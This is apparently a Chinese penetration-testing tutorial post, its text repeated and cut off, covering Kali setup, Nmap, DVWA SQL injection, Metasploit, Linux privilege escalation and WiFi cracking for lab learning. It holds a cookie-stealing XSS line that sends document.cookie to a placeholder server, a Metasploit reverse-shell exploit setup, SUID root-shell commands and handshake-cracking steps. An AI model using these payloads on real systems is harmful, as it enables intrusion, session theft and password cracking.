如果你正在寻找一套能带你从零基础到实战的网络安全学习路径并且希望内容足够系统、能直接上手操作那么这条由清华大佬整理的108集保姆级教程值得你重点关注。它不像很多零散的资料而是将Web安全、渗透测试、Kali Linux这些核心技能打包成一条清晰的学习线从环境搭建、工具使用到实战靶场演练全部覆盖。这套教程最核心的价值在于它的“可执行性”。它直接告诉你每一步该做什么如何安装配置Kali渗透测试环境、如何使用Burp Suite等工具进行Web漏洞挖掘、如何从信息收集一步步走到内网渗透。对于初学者最大的障碍往往是“知道概念但不知道如何动手”而这个教程恰恰解决了这个问题提供了大量的命令行操作和图形化工具演示。本文将为你拆解这套教程的核心内容框架并提供一个可落地的学习与验证路线。你会看到如何搭建自己的安全实验环境如何使用关键工具进行基础测试以及如何通过靶场如DVWA、Vulnhub来巩固技能。我们不会空谈理论而是聚焦于“安装-配置-操作-验证”这个循环确保你看完就能动手做完就能看到结果。1. 核心学习路径与资源速览这套108集教程本质上是一个结构化的学习蓝图它将庞大的网络安全知识体系分解为可顺序执行的模块。下表概括了其核心覆盖范围与所需资源你可以快速判断是否符合你的学习阶段。模块核心内容关键工具/环境学习目标前置要求环境搭建与Linux基础Kali Linux安装、配置、基础命令虚拟机/物理机环境VMware/VirtualBox, Kali Linux ISO能熟练操作Kali系统完成网络配置、软件包管理一台性能尚可的电脑建议8G内存网络与协议安全TCP/IP协议栈、HTTP/HTTPS协议、抓包与分析Wireshark, Burp Suite, Nmap理解数据包流动能分析HTTP请求/响应发现协议层面问题具备基础网络概念信息收集域名、IP、端口、服务、目录、指纹识别Nmap, Dirb/Dirbuster, WhatWeb, Shodan能为目标绘制详细的外部资产地图熟悉命令行操作漏洞扫描与利用常见Web漏洞原理SQLi, XSS, CSRF等、自动化扫描OWASP ZAP, SQLmap, Nessus, Metasploit理解漏洞成因能使用工具进行检测和初步验证掌握信息收集技能渗透测试实战从外网打到内网、权限提升、横向移动、后渗透Metasploit, Mimikatz, 各类漏洞EXP形成完整的渗透测试思维完成简单靶机挑战熟悉漏洞利用流程无线安全与密码破解WiFi加密原理、握手包抓取、密码破解Aircrack-ng, Hashcat在授权环境下测试无线网络安全性理解密码强度重要性支持监听模式的无线网卡CTF与靶场演练CTF解题思路、综合靶机如Vulnhub系列实战各类CTF工具、靶机环境综合运用所学技能解决复杂、模拟真实场景的问题掌握前面所有模块基础学习门槛与资源硬件一台主流配置的电脑即可建议分配至少4GB内存8GB或以上更佳给Kali虚拟机。无需独立显卡。软件VMware Workstation Player或VirtualBox免费、Kali Linux镜像文件。核心所有工具均包含在Kali Linux中或可免费获取教程重点在于教授如何使用它们。安全边界所有学习操作必须在你自己搭建的虚拟化实验室或明确授权的靶场中进行。未经授权对任何非自有系统进行测试均属违法行为。2. 适用场景与学习目标这套教程适合以下几类人群网络安全零基础初学者希望有一条清晰、不迷茫的入门路径避免在碎片化信息中浪费时间。IT运维/开发人员想了解攻击者视角提升自身系统与代码的安全防护能力。准备转向安全领域的学习者需要一套体系化的实战内容来构建知识框架和技能栈。在校学生用于课程补充、备战CTF比赛或完成相关毕业设计。它能帮你解决的核心问题“学什么”提供从基础到进阶的完整知识地图。“怎么练”每一步都有对应的工具操作和靶场环境进行实践。“如何验证”通过破解靶机、完成CTF挑战来获得正向反馈巩固学习成果。需要警惕的误区这不是“黑客速成班”无法让你在几天内成为高手。安全需要扎实的基础和持续的实践。严禁非法使用教程中教授的技术如同手术刀在医生手中可救人在歹徒手中可伤人。务必坚守法律与道德底线。理论仍需补充教程以实操为主导建议同步学习《计算机网络》、《Web安全深度剖析》等书籍以深化理论理解。3. 实验环境准备搭建你的“安全实验室”一切始于一个安全、隔离的实验环境。我们强烈建议使用虚拟机这是最安全、便捷的方式。3.1 虚拟机软件安装选择平台VMware Workstation Player个人使用免费性能和对Kali的支持较好。 官网下载Oracle VirtualBox完全免费开源功能足够。 官网下载安装下载后按照向导完成安装过程与安装普通软件无异。3.2 Kali Linux 虚拟机安装与配置这是整个学习过程的基石操作系统。获取镜像访问 Kali Linux 官方下载页面选择适合的版本通常推荐最新的“Installer Images”。# 官方下载页面请在浏览器中访问 # https://www.kali.org/get-kali/创建虚拟机打开VMware/VirtualBox点击“创建新的虚拟机”。选择“稍后安装操作系统”类型选择“Linux”版本选择“Debian 11.x 64位”。内存建议分配至少4096 MB4GB处理器核心数建议2。创建新虚拟磁盘大小建议50GB以上选择“将虚拟磁盘拆分成多个文件”。安装系统启动虚拟机选择下载好的Kali ISO文件作为启动盘。进入安装界面选择“Graphical install”图形化安装。语言、区域设置按需选择。主机名可设置为kali-lab。域名可留空或设置为lab.local。设置root密码设置一个强密码并牢记。磁盘分区新手建议选择“使用整个磁盘”并“将所有文件放在一个分区中”。软件选择保持默认已包含所有渗透测试工具即可。安装GRUB引导程序到硬盘。安装完成重启进入Kali系统。初始配置更新系统首次启动后打开终端执行以下命令更新软件源和系统。sudo apt update sudo apt full-upgrade -y安装VMware Tools/VirtualBox增强功能这能实现宿主机与虚拟机间的文件拖拽、剪贴板共享和更好的屏幕分辨率。VMware菜单栏 - 虚拟机 - 安装VMware Tools。VirtualBox菜单栏 - 设备 - 安装增强功能。配置网络确保虚拟机网络适配器设置为“NAT模式”或“桥接模式”能正常上网。4. 第一阶段实战信息收集与侦察信息收集是渗透测试的“眼睛”。我们将使用Kali内置工具对一台授权测试的靶机进行侦察。目标获取靶机例如192.168.1.100请替换为你实验环境中的靶机IP的开放端口、运行服务、操作系统等基本信息。4.1 使用 Nmap 进行主机发现与端口扫描Nmap是网络探索和安全审计的瑞士军刀。基础扫描发现目标主机是否在线及常用端口。# 在Kali终端中执行 nmap -sP 192.168.1.100 # Ping扫描确认主机存活 nmap -sS 192.168.1.100 # TCP SYN扫描最常用的端口扫描方式 nmap -sV 192.168.1.100 # 版本探测尝试识别端口上运行的服务及版本 nmap -O 192.168.1.100 # 操作系统探测综合扫描一条命令获取更全面的信息。nmap -A -T4 192.168.1.100 # -A: 启用操作系统检测、版本检测、脚本扫描和路由追踪 # -T4: 指定扫描速度0-54为较快速度结果解读扫描完成后你会看到类似下面的输出。重点关注PORT,STATE,SERVICE,VERSION这几列。Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 10:00 UTC Nmap scan report for 192.168.1.100 Host is up (0.0010s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel解读目标主机开放了22端口SSH服务和80端口HTTP Web服务。Web服务器是Apache 2.4.52运行在Ubuntu Linux上。4.2 使用 Dirb/Dirbuster 进行目录枚举知道了有Web服务80端口下一步就是探索网站目录结构寻找隐藏的页面或敏感文件。使用 Dirb命令行工具速度快dirb http://192.168.1.100 # 使用自定义字典Kali自带字典在 /usr/share/wordlists/ 目录下 dirb http://192.168.1.100 /usr/share/wordlists/dirb/common.txt使用 Dirbuster图形化工具更直观在Kali应用菜单中搜索并打开“Dirbuster”。Target URL:http://192.168.1.100Wordlist: 选择/usr/share/wordlists/dirb/common.txt点击“Start”开始扫描。分析结果扫描出的目录如/admin/,/backup/,/config/等可能就是下一步测试的入口点。5. 第二阶段实战Web漏洞探测与利用以最常见的SQL注入SQLi和跨站脚本XSS为例我们使用DVWADamn Vulnerable Web Application靶场进行练习。5.1 搭建DVWA靶场DVWA是一个专门用于安全脆弱性学习的PHP/MySQL Web应用。下载与部署在Kali中DVWA通常已预装或可轻松安装。# 如果未安装可以使用以下命令假设已安装LAMP环境 sudo apt install git -y git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa sudo chown -R www-data:www-data /var/www/html/dvwa/配置与访问启动Apache和MySQL服务sudo systemctl start apache2 mysql访问http://127.0.0.1/dvwa/setup.php点击页面底部的“Create / Reset Database”按钮初始化数据库。使用默认账号admin密码password登录。在“DVWA Security”页面将安全级别设置为“Low”以便练习。5.2 SQL注入SQLi手动测试在DVWA中将安全级别调至“Low”进入“SQL Injection”模块。探测注入点在用户ID输入框输入1观察页面是否报错。如果报数据库错误说明可能存在注入。判断字段数输入1 order by 1--逐渐增加数字2,3,4...直到页面再次报错。假设order by 3报错则说明有2个字段。联合查询获取信息1 union select 1, database()--这会在页面中显示当前数据库名。1 union select 1, group_concat(table_name) from information_schema.tables where table_schemadatabase()--这会列出当前数据库中的所有表名。自动化工具辅助对于更复杂的注入可以使用SQLmap。# 获取当前数据库名 sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow --current-db # 获取指定数据库的所有表 sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow -D dvwa --tables5.3 使用 Burp Suite 进行XSS测试Burp Suite是Web安全测试的集成平台我们用它来测试反射型XSS。配置代理打开Burp Suite在Proxy - Options中确保代理监听在127.0.0.1:8080。在浏览器Kali中的Firefox中设置代理为127.0.0.1:8080并安装Burp的CA证书访问http://burp下载。拦截与测试在DVWA中将安全级别调至“Low”进入“XSS reflected”模块。开启Burp的“Intercept is on”拦截功能。在DVWA的输入框输入一个测试payload如 点击提交。请求会被Burp拦截。在Raw标签页你可以看到我们输入的payload在请求参数中。右键点击请求选择“Send to Repeater”。重放与验证切换到Repeater模块你可以修改payload例如改为 然后点击“Send”。观察右侧的响应如果我们的脚本被原样返回并在浏览器中执行弹窗则漏洞存在。进阶测试尝试更复杂的payload如窃取Cookie的脚本。scriptnew Image().srchttp://你的接收服务器/steal?cookiedocument.cookie;/script注意此操作仅用于本地靶场学习切勿用于任何非授权测试6. 第三阶段实战漏洞利用与权限提升当我们通过Web漏洞如文件上传获取了一个低权限的shell命令执行窗口后下一步就是尝试提升权限。6.1 利用 Metasploit 获取初始访问假设目标有一个已知漏洞的Web服务例如Apache Struts2 S2-045。启动Metasploitmsfconsole搜索与选择模块search struts2 s2-045 use exploit/multi/http/struts2_content_type_ognl设置参数并执行show options # 查看需要设置的参数 set RHOSTS 192.168.1.100 # 设置目标IP set RPORT 8080 # 设置目标端口如果不是80 set TARGETURI /struts2-showcase/ # 设置漏洞路径 set payload linux/x86/meterpreter/reverse_tcp # 设置Payload set LHOST 192.168.1.50 # 设置你的Kali IP接收反弹shell的地址 set LPORT 4444 # 设置监听端口 exploit # 执行攻击如果成功你会得到一个meterpreter会话。6.2 权限提升Linux在meterpreter会话或一个普通shell中我们可以尝试提权。信息收集# 在获取的shell中执行 whoami # 查看当前用户 id # 查看用户ID和组信息 uname -a # 查看系统内核版本 sudo -l # 查看当前用户可以以root身份运行哪些命令需要密码查找可利用的漏洞将系统内核版本复制出来在Kali中搜索公开的提权EXP。使用LinEnum或linux-exploit-suggester等脚本自动化查找潜在提权点。# 在meterpreter中上传提权脚本 upload /usr/share/exploitdb/exploits/linux/local/xxxx.c /tmp/ # 切换到shell环境 shell cd /tmp gcc xxxx.c -o exp # 编译EXP chmod x exp ./exp # 执行EXP尝试提权利用SUID/GUID文件# 查找具有SUID权限的可执行文件 find / -perm -us -type f 2/dev/null # 查找已知的可利用的SUID程序如nmap、vim、find、bash等的老版本 # 例如如果find有SUID权限可以尝试 find . -exec /bin/bash -p \;7. 无线安全与密码破解初探在授权环境下了解无线网络的安全机制。7.1 监听模式与抓包前提需要一块支持监听模式Monitor Mode的无线网卡。启用监听模式sudo airmon-ng start wlan0 # wlan0是你的无线网卡接口名 # 成功后会生成一个新接口如 wlan0mon扫描附近WiFisudo airodump-ng wlan0mon记录目标AP的BSSIDMAC地址和信道CH。抓取握手包sudo airodump-ng -c 6 --bssid 目标BSSID -w capture wlan0mon # -c 指定信道--bssid 指定目标AP-w 指定抓包文件前缀等待有客户端连接该AP时抓取包含四次握手的数据包。7.2 使用 Aircrack-ng 破解密码使用字典破解aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap # -w 指定字典文件rockyou.txt是Kali自带的一个常用密码字典使用 Hashcat更强大首先将抓到的握手包转换为Hashcat支持的格式如.hccapxaircrack-ng capture-01.cap -J capture_hash使用Hashcat进行破解hashcat -m 2500 capture_hash.hccapx /usr/share/wordlists/rockyou.txt8. 常见问题与排查方法在学习和实践过程中你一定会遇到各种问题。下表列出了一些典型问题及解决思路。问题现象可能原因排查方式解决方案Kali虚拟机无法上网虚拟机网络配置错误、宿主机网络问题ping 8.8.8.8,ip addr show查看IP检查虚拟机网络适配器设置NAT/桥接重启网络服务sudo systemctl restart networkingNmap扫描无结果目标IP错误、目标关机、防火墙阻挡ping 目标IP检查目标主机状态确认目标IP关闭目标防火墙实验环境或使用-Pn参数跳过主机发现Burp Suite无法拦截HTTPS流量浏览器未正确安装Burp CA证书访问http://burp下载证书并在浏览器证书管理中导入并信任确保证书已正确安装并启用为“信任的根证书颁发机构”SQLmap跑不出数据目标有WAF、注入点判断错误、参数格式问题使用--tamper参数尝试绕过使用--level和--risk提高检测等级检查URL和Cookie格式仔细检查请求使用--proxyhttp://127.0.0.1:8080通过Burp观察请求确认注入点有效Metasploit exploit 失败目标不存在此漏洞、Payload不匹配、网络不通check命令验证漏洞show payloads换用其他Payloadset payload windows/...确认目标服务版本与漏洞匹配尝试reverse_http或bind_tcp等不同Payload检查防火墙规则提权EXP编译失败目标系统缺少gcc、库文件、EXP代码不兼容which gcc, 查看错误信息在Kali上交叉编译-m32或-m64指定架构或寻找静态编译好的二进制版本上传无线网卡不支持监听模式网卡驱动问题、硬件不支持sudo airmon-ng查看网卡列表iw list查看能力更换外置支持监听模式的网卡如TL-WN722N或使用虚拟机USB直通功能9. 学习路线进阶与资源推荐完成上述基础实战后你可以沿着以下路径深化学习深入漏洞研究不再满足于工具使用开始阅读CVE详情、分析漏洞原理、尝试自己编写简单的POC。内网渗透拓展学习横向移动、域渗透、持久化控制等高级技术。可以搭建模拟域环境进行练习。参与CTF比赛在平台如CTFHub、BugKu、攻防世界等上解题这是锻炼综合能力的绝佳方式。实战靶场挑战更复杂的综合靶机如Vulnhub上的“HackTheBox”风格靶机、PentesterLab等。关注安全社区订阅安全博客如安全客、FreeBuf、关注GitHub上的安全工具更新、参与漏洞众测在合法合规平台。核心资源推荐靶场平台Hack The Box (HTB)需要一定基础包含持续更新的机器和挑战。TryHackMe对新手更友好有引导性的学习路径和房间Room。Vulnhub提供大量免费的、可下载的虚拟机靶机。漏洞练习平台DVWA, bwapp, WebGoat经典的Web漏洞练习平台。OverTheWire (Bandit系列)非常好的Linux命令行及基础安全挑战。文档与书籍《Metasploit渗透测试指南》《Web安全深度剖析》《内网安全攻防渗透测试实战指南》OWASP Top 10每年更新的十大Web应用安全风险必读。这套108集的教程是一个强大的引擎和地图能带你穿越网络安全学习的迷雾区。真正的成长来自于将教程中的每一步在自己的实验环境中亲手复现、遇到错误、搜索解决、并最终获得“啊哈”时刻的顿悟。从今天起启动你的Kali虚拟机选择一个最简单的靶场开始第一次扫描。记住在安全的道路上合法的练习和持续的好奇心是你最可靠的伙伴。
如果你正在寻找一套能带你从零基础到实战的网络安全学习路径并且希望内容足够系统、能直接上手操作那么这条由清华大佬整理的108集保姆级教程值得你重点关注。它不像很多零散的资料而是将Web安全、渗透测试、Kali Linux这些核心技能打包成一条清晰的学习线从环境搭建、工具使用到实战靶场演练全部覆盖。这套教程最核心的价值在于它的“可执行性”。它直接告诉你每一步该做什么如何安装配置Kali渗透测试环境、如何使用Burp Suite等工具进行Web漏洞挖掘、如何从信息收集一步步走到内网渗透。对于初学者最大的障碍往往是“知道概念但不知道如何动手”而这个教程恰恰解决了这个问题提供了大量的命令行操作和图形化工具演示。本文将为你拆解这套教程的核心内容框架并提供一个可落地的学习与验证路线。你会看到如何搭建自己的安全实验环境如何使用关键工具进行基础测试以及如何通过靶场如DVWA、Vulnhub来巩固技能。我们不会空谈理论而是聚焦于“安装-配置-操作-验证”这个循环确保你看完就能动手做完就能看到结果。1. 核心学习路径与资源速览这套108集教程本质上是一个结构化的学习蓝图它将庞大的网络安全知识体系分解为可顺序执行的模块。下表概括了其核心覆盖范围与所需资源你可以快速判断是否符合你的学习阶段。模块核心内容关键工具/环境学习目标前置要求环境搭建与Linux基础Kali Linux安装、配置、基础命令虚拟机/物理机环境VMware/VirtualBox, Kali Linux ISO能熟练操作Kali系统完成网络配置、软件包管理一台性能尚可的电脑建议8G内存网络与协议安全TCP/IP协议栈、HTTP/HTTPS协议、抓包与分析Wireshark, Burp Suite, Nmap理解数据包流动能分析HTTP请求/响应发现协议层面问题具备基础网络概念信息收集域名、IP、端口、服务、目录、指纹识别Nmap, Dirb/Dirbuster, WhatWeb, Shodan能为目标绘制详细的外部资产地图熟悉命令行操作漏洞扫描与利用常见Web漏洞原理SQLi, XSS, CSRF等、自动化扫描OWASP ZAP, SQLmap, Nessus, Metasploit理解漏洞成因能使用工具进行检测和初步验证掌握信息收集技能渗透测试实战从外网打到内网、权限提升、横向移动、后渗透Metasploit, Mimikatz, 各类漏洞EXP形成完整的渗透测试思维完成简单靶机挑战熟悉漏洞利用流程无线安全与密码破解WiFi加密原理、握手包抓取、密码破解Aircrack-ng, Hashcat在授权环境下测试无线网络安全性理解密码强度重要性支持监听模式的无线网卡CTF与靶场演练CTF解题思路、综合靶机如Vulnhub系列实战各类CTF工具、靶机环境综合运用所学技能解决复杂、模拟真实场景的问题掌握前面所有模块基础学习门槛与资源硬件一台主流配置的电脑即可建议分配至少4GB内存8GB或以上更佳给Kali虚拟机。无需独立显卡。软件VMware Workstation Player或VirtualBox免费、Kali Linux镜像文件。核心所有工具均包含在Kali Linux中或可免费获取教程重点在于教授如何使用它们。安全边界所有学习操作必须在你自己搭建的虚拟化实验室或明确授权的靶场中进行。未经授权对任何非自有系统进行测试均属违法行为。2. 适用场景与学习目标这套教程适合以下几类人群网络安全零基础初学者希望有一条清晰、不迷茫的入门路径避免在碎片化信息中浪费时间。IT运维/开发人员想了解攻击者视角提升自身系统与代码的安全防护能力。准备转向安全领域的学习者需要一套体系化的实战内容来构建知识框架和技能栈。在校学生用于课程补充、备战CTF比赛或完成相关毕业设计。它能帮你解决的核心问题“学什么”提供从基础到进阶的完整知识地图。“怎么练”每一步都有对应的工具操作和靶场环境进行实践。“如何验证”通过破解靶机、完成CTF挑战来获得正向反馈巩固学习成果。需要警惕的误区这不是“黑客速成班”无法让你在几天内成为高手。安全需要扎实的基础和持续的实践。严禁非法使用教程中教授的技术如同手术刀在医生手中可救人在歹徒手中可伤人。务必坚守法律与道德底线。理论仍需补充教程以实操为主导建议同步学习《计算机网络》、《Web安全深度剖析》等书籍以深化理论理解。3. 实验环境准备搭建你的“安全实验室”一切始于一个安全、隔离的实验环境。我们强烈建议使用虚拟机这是最安全、便捷的方式。3.1 虚拟机软件安装选择平台VMware Workstation Player个人使用免费性能和对Kali的支持较好。 官网下载Oracle VirtualBox完全免费开源功能足够。 官网下载安装下载后按照向导完成安装过程与安装普通软件无异。3.2 Kali Linux 虚拟机安装与配置这是整个学习过程的基石操作系统。获取镜像访问 Kali Linux 官方下载页面选择适合的版本通常推荐最新的“Installer Images”。# 官方下载页面请在浏览器中访问 # https://www.kali.org/get-kali/创建虚拟机打开VMware/VirtualBox点击“创建新的虚拟机”。选择“稍后安装操作系统”类型选择“Linux”版本选择“Debian 11.x 64位”。内存建议分配至少4096 MB4GB处理器核心数建议2。创建新虚拟磁盘大小建议50GB以上选择“将虚拟磁盘拆分成多个文件”。安装系统启动虚拟机选择下载好的Kali ISO文件作为启动盘。进入安装界面选择“Graphical install”图形化安装。语言、区域设置按需选择。主机名可设置为kali-lab。域名可留空或设置为lab.local。设置root密码设置一个强密码并牢记。磁盘分区新手建议选择“使用整个磁盘”并“将所有文件放在一个分区中”。软件选择保持默认已包含所有渗透测试工具即可。安装GRUB引导程序到硬盘。安装完成重启进入Kali系统。初始配置更新系统首次启动后打开终端执行以下命令更新软件源和系统。sudo apt update sudo apt full-upgrade -y安装VMware Tools/VirtualBox增强功能这能实现宿主机与虚拟机间的文件拖拽、剪贴板共享和更好的屏幕分辨率。VMware菜单栏 - 虚拟机 - 安装VMware Tools。VirtualBox菜单栏 - 设备 - 安装增强功能。配置网络确保虚拟机网络适配器设置为“NAT模式”或“桥接模式”能正常上网。4. 第一阶段实战信息收集与侦察信息收集是渗透测试的“眼睛”。我们将使用Kali内置工具对一台授权测试的靶机进行侦察。目标获取靶机例如192.168.1.100请替换为你实验环境中的靶机IP的开放端口、运行服务、操作系统等基本信息。4.1 使用 Nmap 进行主机发现与端口扫描Nmap是网络探索和安全审计的瑞士军刀。基础扫描发现目标主机是否在线及常用端口。# 在Kali终端中执行 nmap -sP 192.168.1.100 # Ping扫描确认主机存活 nmap -sS 192.168.1.100 # TCP SYN扫描最常用的端口扫描方式 nmap -sV 192.168.1.100 # 版本探测尝试识别端口上运行的服务及版本 nmap -O 192.168.1.100 # 操作系统探测综合扫描一条命令获取更全面的信息。nmap -A -T4 192.168.1.100 # -A: 启用操作系统检测、版本检测、脚本扫描和路由追踪 # -T4: 指定扫描速度0-54为较快速度结果解读扫描完成后你会看到类似下面的输出。重点关注PORT,STATE,SERVICE,VERSION这几列。Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 10:00 UTC Nmap scan report for 192.168.1.100 Host is up (0.0010s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.52 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel解读目标主机开放了22端口SSH服务和80端口HTTP Web服务。Web服务器是Apache 2.4.52运行在Ubuntu Linux上。4.2 使用 Dirb/Dirbuster 进行目录枚举知道了有Web服务80端口下一步就是探索网站目录结构寻找隐藏的页面或敏感文件。使用 Dirb命令行工具速度快dirb http://192.168.1.100 # 使用自定义字典Kali自带字典在 /usr/share/wordlists/ 目录下 dirb http://192.168.1.100 /usr/share/wordlists/dirb/common.txt使用 Dirbuster图形化工具更直观在Kali应用菜单中搜索并打开“Dirbuster”。Target URL:http://192.168.1.100Wordlist: 选择/usr/share/wordlists/dirb/common.txt点击“Start”开始扫描。分析结果扫描出的目录如/admin/,/backup/,/config/等可能就是下一步测试的入口点。5. 第二阶段实战Web漏洞探测与利用以最常见的SQL注入SQLi和跨站脚本XSS为例我们使用DVWADamn Vulnerable Web Application靶场进行练习。5.1 搭建DVWA靶场DVWA是一个专门用于安全脆弱性学习的PHP/MySQL Web应用。下载与部署在Kali中DVWA通常已预装或可轻松安装。# 如果未安装可以使用以下命令假设已安装LAMP环境 sudo apt install git -y git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa sudo chown -R www-data:www-data /var/www/html/dvwa/配置与访问启动Apache和MySQL服务sudo systemctl start apache2 mysql访问http://127.0.0.1/dvwa/setup.php点击页面底部的“Create / Reset Database”按钮初始化数据库。使用默认账号admin密码password登录。在“DVWA Security”页面将安全级别设置为“Low”以便练习。5.2 SQL注入SQLi手动测试在DVWA中将安全级别调至“Low”进入“SQL Injection”模块。探测注入点在用户ID输入框输入1观察页面是否报错。如果报数据库错误说明可能存在注入。判断字段数输入1 order by 1--逐渐增加数字2,3,4...直到页面再次报错。假设order by 3报错则说明有2个字段。联合查询获取信息1 union select 1, database()--这会在页面中显示当前数据库名。1 union select 1, group_concat(table_name) from information_schema.tables where table_schemadatabase()--这会列出当前数据库中的所有表名。自动化工具辅助对于更复杂的注入可以使用SQLmap。# 获取当前数据库名 sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow --current-db # 获取指定数据库的所有表 sqlmap -u http://127.0.0.1/dvwa/vulnerabilities/sqli/?id1SubmitSubmit --cookiePHPSESSID你的会话ID; securitylow -D dvwa --tables5.3 使用 Burp Suite 进行XSS测试Burp Suite是Web安全测试的集成平台我们用它来测试反射型XSS。配置代理打开Burp Suite在Proxy - Options中确保代理监听在127.0.0.1:8080。在浏览器Kali中的Firefox中设置代理为127.0.0.1:8080并安装Burp的CA证书访问http://burp下载。拦截与测试在DVWA中将安全级别调至“Low”进入“XSS reflected”模块。开启Burp的“Intercept is on”拦截功能。在DVWA的输入框输入一个测试payload如 点击提交。请求会被Burp拦截。在Raw标签页你可以看到我们输入的payload在请求参数中。右键点击请求选择“Send to Repeater”。重放与验证切换到Repeater模块你可以修改payload例如改为 然后点击“Send”。观察右侧的响应如果我们的脚本被原样返回并在浏览器中执行弹窗则漏洞存在。进阶测试尝试更复杂的payload如窃取Cookie的脚本。scriptnew Image().srchttp://你的接收服务器/steal?cookiedocument.cookie;/script注意此操作仅用于本地靶场学习切勿用于任何非授权测试6. 第三阶段实战漏洞利用与权限提升当我们通过Web漏洞如文件上传获取了一个低权限的shell命令执行窗口后下一步就是尝试提升权限。6.1 利用 Metasploit 获取初始访问假设目标有一个已知漏洞的Web服务例如Apache Struts2 S2-045。启动Metasploitmsfconsole搜索与选择模块search struts2 s2-045 use exploit/multi/http/struts2_content_type_ognl设置参数并执行show options # 查看需要设置的参数 set RHOSTS 192.168.1.100 # 设置目标IP set RPORT 8080 # 设置目标端口如果不是80 set TARGETURI /struts2-showcase/ # 设置漏洞路径 set payload linux/x86/meterpreter/reverse_tcp # 设置Payload set LHOST 192.168.1.50 # 设置你的Kali IP接收反弹shell的地址 set LPORT 4444 # 设置监听端口 exploit # 执行攻击如果成功你会得到一个meterpreter会话。6.2 权限提升Linux在meterpreter会话或一个普通shell中我们可以尝试提权。信息收集# 在获取的shell中执行 whoami # 查看当前用户 id # 查看用户ID和组信息 uname -a # 查看系统内核版本 sudo -l # 查看当前用户可以以root身份运行哪些命令需要密码查找可利用的漏洞将系统内核版本复制出来在Kali中搜索公开的提权EXP。使用LinEnum或linux-exploit-suggester等脚本自动化查找潜在提权点。# 在meterpreter中上传提权脚本 upload /usr/share/exploitdb/exploits/linux/local/xxxx.c /tmp/ # 切换到shell环境 shell cd /tmp gcc xxxx.c -o exp # 编译EXP chmod x exp ./exp # 执行EXP尝试提权利用SUID/GUID文件# 查找具有SUID权限的可执行文件 find / -perm -us -type f 2/dev/null # 查找已知的可利用的SUID程序如nmap、vim、find、bash等的老版本 # 例如如果find有SUID权限可以尝试 find . -exec /bin/bash -p \;7. 无线安全与密码破解初探在授权环境下了解无线网络的安全机制。7.1 监听模式与抓包前提需要一块支持监听模式Monitor Mode的无线网卡。启用监听模式sudo airmon-ng start wlan0 # wlan0是你的无线网卡接口名 # 成功后会生成一个新接口如 wlan0mon扫描附近WiFisudo airodump-ng wlan0mon记录目标AP的BSSIDMAC地址和信道CH。抓取握手包sudo airodump-ng -c 6 --bssid 目标BSSID -w capture wlan0mon # -c 指定信道--bssid 指定目标AP-w 指定抓包文件前缀等待有客户端连接该AP时抓取包含四次握手的数据包。7.2 使用 Aircrack-ng 破解密码使用字典破解aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap # -w 指定字典文件rockyou.txt是Kali自带的一个常用密码字典使用 Hashcat更强大首先将抓到的握手包转换为Hashcat支持的格式如.hccapxaircrack-ng capture-01.cap -J capture_hash使用Hashcat进行破解hashcat -m 2500 capture_hash.hccapx /usr/share/wordlists/rockyou.txt8. 常见问题与排查方法在学习和实践过程中你一定会遇到各种问题。下表列出了一些典型问题及解决思路。问题现象可能原因排查方式解决方案Kali虚拟机无法上网虚拟机网络配置错误、宿主机网络问题ping 8.8.8.8,ip addr show查看IP检查虚拟机网络适配器设置NAT/桥接重启网络服务sudo systemctl restart networkingNmap扫描无结果目标IP错误、目标关机、防火墙阻挡ping 目标IP检查目标主机状态确认目标IP关闭目标防火墙实验环境或使用-Pn参数跳过主机发现Burp Suite无法拦截HTTPS流量浏览器未正确安装Burp CA证书访问http://burp下载证书并在浏览器证书管理中导入并信任确保证书已正确安装并启用为“信任的根证书颁发机构”SQLmap跑不出数据目标有WAF、注入点判断错误、参数格式问题使用--tamper参数尝试绕过使用--level和--risk提高检测等级检查URL和Cookie格式仔细检查请求使用--proxyhttp://127.0.0.1:8080通过Burp观察请求确认注入点有效Metasploit exploit 失败目标不存在此漏洞、Payload不匹配、网络不通check命令验证漏洞show payloads换用其他Payloadset payload windows/...确认目标服务版本与漏洞匹配尝试reverse_http或bind_tcp等不同Payload检查防火墙规则提权EXP编译失败目标系统缺少gcc、库文件、EXP代码不兼容which gcc, 查看错误信息在Kali上交叉编译-m32或-m64指定架构或寻找静态编译好的二进制版本上传无线网卡不支持监听模式网卡驱动问题、硬件不支持sudo airmon-ng查看网卡列表iw list查看能力更换外置支持监听模式的网卡如TL-WN722N或使用虚拟机USB直通功能9. 学习路线进阶与资源推荐完成上述基础实战后你可以沿着以下路径深化学习深入漏洞研究不再满足于工具使用开始阅读CVE详情、分析漏洞原理、尝试自己编写简单的POC。内网渗透拓展学习横向移动、域渗透、持久化控制等高级技术。可以搭建模拟域环境进行练习。参与CTF比赛在平台如CTFHub、BugKu、攻防世界等上解题这是锻炼综合能力的绝佳方式。实战靶场挑战更复杂的综合靶机如Vulnhub上的“HackTheBox”风格靶机、PentesterLab等。关注安全社区订阅安全博客如安全客、FreeBuf、关注GitHub上的安全工具更新、参与漏洞众测在合法合规平台。核心资源推荐靶场平台Hack The Box (HTB)需要一定基础包含持续更新的机器和挑战。TryHackMe对新手更友好有引导性的学习路径和房间Room。Vulnhub提供大量免费的、可下载的虚拟机靶机。漏洞练习平台DVWA, bwapp, WebGoat经典的Web漏洞练习平台。OverTheWire 